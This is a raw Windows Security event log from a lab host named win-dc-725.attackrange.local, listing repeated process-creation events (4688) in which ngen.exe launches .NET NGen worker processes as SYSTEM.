03/12/2021 12:03:51 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254423
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf90
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 424 -InterruptEvent 0 -NGENProcess 4b4 -Pipe 404 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:51 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254422
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb40
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 404 -InterruptEvent 0 -NGENProcess 424 -Pipe 478 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:51 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254421
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x938
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 478 -InterruptEvent 0 -NGENProcess 404 -Pipe 4ac -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:51 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254420
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x58c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4ac -InterruptEvent 0 -NGENProcess 478 -Pipe 4d4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:51 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254419
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12a8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4d4 -InterruptEvent 0 -NGENProcess 4ac -Pipe 4bc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:52 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254439
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11b4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 53c -InterruptEvent 0 -NGENProcess 42c -Pipe 528 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:52 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254438
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xea8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 518 -InterruptEvent 0 -NGENProcess 528 -Pipe 4cc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:52 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254437
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x139c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4cc -InterruptEvent 0 -NGENProcess 518 -Pipe 4e0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:52 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254436
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xbe0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4e0 -InterruptEvent 0 -NGENProcess 4cc -Pipe 508 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:52 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254435
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 508 -InterruptEvent 0 -NGENProcess 4e0 -Pipe 50c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:52 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254434
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4b0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 42c -InterruptEvent 0 -NGENProcess 50c -Pipe 4f8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:52 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254433
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1158
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4f8 -InterruptEvent 0 -NGENProcess 42c -Pipe 4c8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:52 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254432
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1310
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4c8 -InterruptEvent 0 -NGENProcess 4f8 -Pipe 4ec -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:52 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254431
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10c8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4ec -InterruptEvent 0 -NGENProcess 4c8 -Pipe 4f4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:52 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254430
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9bc
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 4f4 -InterruptEvent 0 -NGENProcess 4ec -Pipe 430 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:53 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254443
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc14
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 584 -InterruptEvent 0 -NGENProcess 54c -Pipe 590 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:53 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254442
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xeec
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 590 -InterruptEvent 0 -NGENProcess 584 -Pipe 58c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:53 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254441
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x508
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 548 -InterruptEvent 0 -NGENProcess 540 -Pipe 544 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:53 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
